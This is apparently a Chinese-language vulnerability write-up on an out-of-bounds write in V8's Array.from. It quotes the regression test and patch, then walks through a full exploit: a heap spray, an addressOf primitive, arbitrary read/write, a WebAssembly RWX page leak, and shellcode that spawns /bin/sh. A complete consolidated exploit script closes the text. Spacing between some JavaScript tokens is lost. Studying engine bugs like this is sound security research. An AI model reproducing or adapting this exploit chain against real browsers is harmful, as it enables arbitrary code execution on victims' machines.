// Copyright 2018 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Tests that creating an iterator that shrinks the array populated by // Array.from does not lead to out of bounds writes. let oobArray = []; let maxSize = 1028 * 8; Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( { counter : 0, next() { let result = this.counter++; if (this.counter > maxSize) { oobArray.length = 0; return {done: true}; } else { return {value: result, done: false}; } } } ) }); // assertEquals(oobArray.length, maxSize); // iterator reset the length to 0 just before returning done, so this will crash // if the backing store was not resized correctly. oobArray[oobArray.length - 1] = 0x41414141;
--- a/src/builtins/builtins-array-gen.cc +++ b/src/builtins/builtins-array-gen.cc @@ -1945,10 +1945,13 @@ void GenerateSetLength(TNode<Context> context, TNode<Object> array, TNode<Number> length) { Label fast(this), runtime(this), done(this); + // TODO(delphick): We should be able to skip the fast set altogether, if the + // length already equals the expected length, which it always is now on the + // fast path. // Only set the length in this stub if // 1) the array has fast elements, // 2) the length is writable, - // 3) the new length is greater than or equal to the old length. + // 3) the new length is equal to the old length. // 1) Check that the array has fast elements. // TODO(delphick): Consider changing this since it does an an unnecessary @@ -1970,10 +1973,10 @@ // BranchIfFastJSArray above. EnsureArrayLengthWritable(LoadMap(fast_array), &runtime); - // 3) If the created array already has a length greater than required, + // 3) If the created array's length does not match the required length, // then use the runtime to set the property as that will insert holes - // into the excess elements and/or shrink the backing store. - GotoIf(SmiLessThan(length_smi, old_length), &runtime); + // into excess elements or shrink the backing store as appropriate. + GotoIf(SmiNotEqual(length_smi, old_length), &runtime); StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset, length_smi);
TNode<Object> this_arg = args.GetOptionalArgumentValue(2); //items -> from.call(this, object)的对象参数? TNode<Object> items = args.GetOptionalArgumentValue(0); // The spec doesn't require ToObject to be called directly on the iterable // branch, but it's part of GetMethod that is in the spec. TNode<JSReceiver> array_like = ToObject(context, items);
TVARIABLE(Object, array); TVARIABLE(Number, length); //定义length变量作为输出数组长度的记录 //最后length = index
// Construct the output array with empty length. // 构造一个长度为空的返回数组 array = ConstructArrayLike(context, args.GetReceiver());
// Actually get the iterator and throw if the iterator method does not yield // one. IteratorRecord iterator_record = iterator_assembler.GetIterator(context, items, iterator_method);
//迭代循环 BIND(&loop); { // Loop while iterator is not done. TNode<Object> next = CAST(iterator_assembler.IteratorStep( context, iterator_record, &loop_done, fast_iterator_result_map)); //value是迭代器next()方法返回的value TVARIABLE(Object, value, CAST(iterator_assembler.IteratorValue( context, next, fast_iterator_result_map)));
// If a map_function is supplied then call it (using this_arg as // receiver), on the value returned from the iterator. Exceptions are // caught so the iterator can be closed. // 调用map_function并用this_arg接收返回值 { Label next(this); //如果map_function未定义,跳过后面的几行代码直接到next标签 GotoIf(IsUndefined(map_function), &next);
// Store the result in the output object (catching any exceptions so the // iterator can be closed). Node* define_status = CallRuntime(Runtime::kCreateDataProperty, context, array.value(), index.value(), value.value()); //将结果存入array? GotoIfException(define_status, &on_exception, &var_exception);
index = NumberInc(index.value()); //自增 index++
// The spec requires that we throw an exception if index reaches 2^53-1, // but an empty loop would take >100 days to do this many iterations. To // actually run for that long would require an iterator that never set // done to true and a target array which somehow never ran out of memory, // e.g. a proxy that discarded the values. Ignoring this case just means // we would repeatedly call CreateDataProperty with index = 2^53. CSA_ASSERT_BRANCH(this, [&](Label* ok, Label* not_ok) { BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(), NumberConstant(kMaxSafeInteger), ok, not_ok); }); Goto(&loop); //迭代循环边界 }
BIND(&on_exception); { // Close the iterator, rethrowing either the passed exception or // exceptions thrown during the close. iterator_assembler.IteratorCloseOnException(context, iterator_record, &var_exception); } }
// Since there's no iterator, items cannot be a Fast JS Array. BIND(¬_iterable); { CSA_ASSERT(this, Word32BinaryNot(IsFastJSArray(array_like, context)));
// Treat array_like as an array and try to get its length. length = ToLength_Inline( context, GetProperty(context, array_like, factory()->length_string()));
// Construct an array using the receiver as constructor with the same length // as the input array. array = ConstructArrayLike(context, args.GetReceiver(), length.value());
// Loop from 0 to length-1. { Label loop(this, &index); Goto(&loop); BIND(&loop); TVARIABLE(Object, value);
value = GetProperty(context, array_like, index.value());
// If a map_function is supplied then call it (using this_arg as // receiver), on the value retrieved from the array. { Label next(this); GotoIf(IsUndefined(map_function), &next);
// Store the result in the output object. CallRuntime(Runtime::kCreateDataProperty, context, array.value(), index.value(), value.value()); index = NumberInc(index.value()); BranchIfNumberRelationalComparison(Operation::kLessThan, index.value(), length.value(), &loop, &finished); } }
BIND(&finished);
// Finally set the length on the output and return it. // 设置返回数组的length // 疑问:数组现在的状态是怎样的?length = ? array.length = ? array.elements = ? // 由于POC的迭代函数中,最后array.length = 0 // 此时的状态应该为:array.length = 0, array.elements = 空数组, length = 8224 Print("array", static_cast<Node*>(array.value())); DebugBreak(); GenerateSetLength(context, array.value(), length.value()); args.PopAndReturn(array.value()); }
//array.length = 0, array.elements = 空数组, length = 8224 //GenerateSetLength(context, array.value(), length.value()) voidGenerateSetLength(TNode<Context> context, TNode<Object> array, TNode<Number> length){ Label fast(this), runtime(this), done(this); // Only set the length in this stub if // 1) the array has fast elements, // 2) the length is writable, // 3) the new length is greater than or equal to the old length. // patch中:3) the new length is equal to the old length.
// 1) Check that the array has fast elements. // TODO(delphick): Consider changing this since it does an an unnecessary // check for SMIs. // TODO(delphick): Also we could hoist this to after the array construction // and copy the args into array in the same way as the Array constructor. //如果有fast元素则跳转至下面的BIND(&fast)(Array数组对象当然是符合这个条件的) BranchIfFastJSArray(array, context, &fast, &runtime);
// 2) Ensure that the length is writable. // TODO(delphick): This check may be redundant due to the // BranchIfFastJSArray above. EnsureArrayLengthWritable(LoadMap(fast_array), &runtime); //确认length字段可写
// 3) If the created array already has a length greater than required, // then use the runtime to set the property as that will insert holes // into the excess elements and/or shrink the backing store. // 如果length_smi < old_length则执行runtime以length_smi为准重新设置elements和length GotoIf(SmiLessThan(length_smi, old_length), &runtime);
可以看到,patch文件中,直接将跳转条件SmiLessThan改成了SmiNotEqual,而且patch注释中也说:”We should be able to skip the fast set altogether, if the length already equals the expected length, which it always is now on the fast path”,意思是,如果提供的length与array.length不相等,则直接跳过fast set,这里的”fast set”应该就是指StoreObjectFieldNoWriteBarrier(),这样,就不会出现如我们上面出现的,将length置为8224,而elements仍是空数组的情况了。
/*generate a Out-Of-Bound array and generate many ArrayBuffers and objects*/ var bufArray = []; var objArray = []; var oobArray = [1.1]; var maxSize = 8224; functionobjGen(tag){ this.leak = 0x1234; this.tag = tag; } Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => ( { counter : 0, next() { let result = 1.1; this.counter++; if (this.counter > maxSize) { oobArray.length = 1; // for(let i=0;i<=1000;i++){ bufArray.push(newArrayBuffer(0xbeef)); objArray.push(newobjGen(0xdead)); // } return {done: true}; } else { return {value: result, done: false}; } } } ) });
/*------search a ArrayBuffer which could be controlled by oobArray-------*/ var offsetBuf; //target offset of oobArray var indexBuf; //target offset in bufArray for(let x=0; x<=maxSize; x++) {let y = oobArray[x]}; //trigger the GC //start search for(let i = 0; i < maxSize; i++){ let val = dt.f2i(oobArray[i]); if(0xbeef00000000===val){ offsetBuf = i-3; console.log("[*] target buf offset of oobArray: " + offsetBuf); %DebugPrint(oobArray); } if(0xdead00000000===val){ offsetObjLeak = i-1; console.log("[*] target obj.leak offset of oobArray: " + offsetObjLeak); %DebugPrint(oobArray); break; } }
var wasmCode = newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1, 127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0, 1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2, 0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]); var wasmModule = newWebAssembly.Module(wasmCode); var wasmInstance = newWebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; %DebugPrint(f); %SystemBreak();
调试器中具体看一下:
f+0x18找到shared_info:
shared_info+0x8找到code
在code+0x70找到RWX内存页地址
因此,可以通过addressOf和read64、write64等方法实现以下代码完成RWX地址泄漏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
/*-------------------------use wasm to execute shellcode------------------*/ var wasmCode = newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1, 127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0, 1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2, 0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]); var wasmModule = newWebAssembly.Module(wasmCode); var wasmInstance = newWebAssembly.Instance(wasmModule, {}); var funcAsm = wasmInstance.exports.main;
var addressFasm = addressOf(funcAsm); var sharedInfo = read64(addressFasm+0x18-0x1); var codeAddr = read64(sharedInfo+0x8-0x1); var memoryRWX = (read64(codeAddr+0x70-0x1)/0x10000); memoryRWX = Math.floor(memoryRWX); console.log("[*] Get RWX memory : " + hex(memoryRWX));
将Shellcode写入RWX内存中,并调用funcAsm()即可触发Shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14
//sys_execve('/bin/sh') var shellcode = [ '2fbb485299583b6a', '5368732f6e69622f', '050f5e5457525f54' ]; //write shellcode into RWX memory var offsetMem = 0; for(x of shellcode){ write64(memoryRWX+offsetMem, x); offsetMem+=8; } //call funcAsm() and it would execute shellcode actually funcAsm();
// sunxiaokong /*---------------------------datatype convert-------------------------*/ classtypeConvert{ constructor(){ this.buf = newArrayBuffer(8); this.f64 = newFloat64Array(this.buf); this.u32 = newUint32Array(this.buf); this.bytes = newUint8Array(this.buf); } //convert float to int f2i(val){ this.f64[0] = val; let tmp = Array.from(this.u32); return tmp[1] * 0x100000000 + tmp[0]; } /* convert int to float if nead convert a 64bits int to float please use string like "deadbeefdeadbeef" (v8's SMI just use 56bits, lowest 8bits is zero as flag) */ i2f(val){ let vall = hex(val); let tmp = []; tmp[0] = vall.slice(10, ); tmp[1] = vall.slice(2, 10); tmp[0] = parseInt(tmp[0], 16); tmp[1] = parseInt(tmp[1], 16); this.u32.set(tmp); returnthis.f64[0]; } } //convert number to hex string functionhex(x) { return'0x' + (x.toString(16)).padStart(16, 0); }
var dt = newtypeConvert(); // console.log(hex(0x12345678deadbeef)); // console.log(hex(dt.overturn('deadbeef')));
/*generate a Out-Of-Bound array and generate many ArrayBuffers and objects*/ var bufArray = []; var objArray = []; var oobArray = [1.1]; var maxSize = 8224; functionobjGen(tag){ this.leak = 0x1234; this.tag = tag; } Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => ( { counter : 0, next() { let result = 1.1; this.counter++; if (this.counter > maxSize) { oobArray.length = 1; // for(let i=0;i<=1000;i++){ bufArray.push(newArrayBuffer(0xbeef)); objArray.push(newobjGen(0xdead)); // } return {done: true}; } else { return {value: result, done: false}; } } } ) });
/*------search a ArrayBuffer which could be controlled by oobArray-------*/ var offsetBuf; //target offset of oobArray var indexBuf; //target offset in bufArray for(let x=0; x<=maxSize; x++) {let y = oobArray[x]}; //trigger the GC //start search for(let i = 0; i < maxSize; i++){ let val = dt.f2i(oobArray[i]); if(0xbeef00000000===val){ offsetBuf = i-3; console.log("[*] target buf offset of oobArray: " + offsetBuf); // %DebugPrint(oobArray); } if(0xdead00000000===val){ offsetObjLeak = i-1; console.log("[*] target obj.leak offset of oobArray: " + offsetObjLeak); // %DebugPrint(oobArray); break; } }
functionaddressOf(target){ objArray[0].leak = target; return dt.f2i(oobArray[offsetObjLeak]); } // test addressOf // var testObj = {a:'b'}; // %DebugPrint(testObj); // console.log("leak test object : " + hex(addressOf(testObj)));
/*-------------------------use wasm to execute shellcode------------------*/ var wasmCode = newUint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1, 127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0, 1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2, 0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]); var wasmModule = newWebAssembly.Module(wasmCode); var wasmInstance = newWebAssembly.Instance(wasmModule, {}); var funcAsm = wasmInstance.exports.main;
var addressFasm = addressOf(funcAsm); var sharedInfo = read64(addressFasm+0x18-0x1); var codeAddr = read64(sharedInfo+0x8-0x1); var memoryRWX = (read64(codeAddr+0x70-0x1)/0x10000); memoryRWX = Math.floor(memoryRWX); console.log("[*] Get RWX memory : " + hex(memoryRWX));
//sys_execve('/bin/sh') var shellcode = [ '2fbb485299583b6a', '5368732f6e69622f', '050f5e5457525f54' ]; //write shellcode into RWX memory var offsetMem = 0; for(x of shellcode){ write64(memoryRWX+offsetMem, x); offsetMem+=8; } //call funcAsm() and it would execute shellcode actually funcAsm();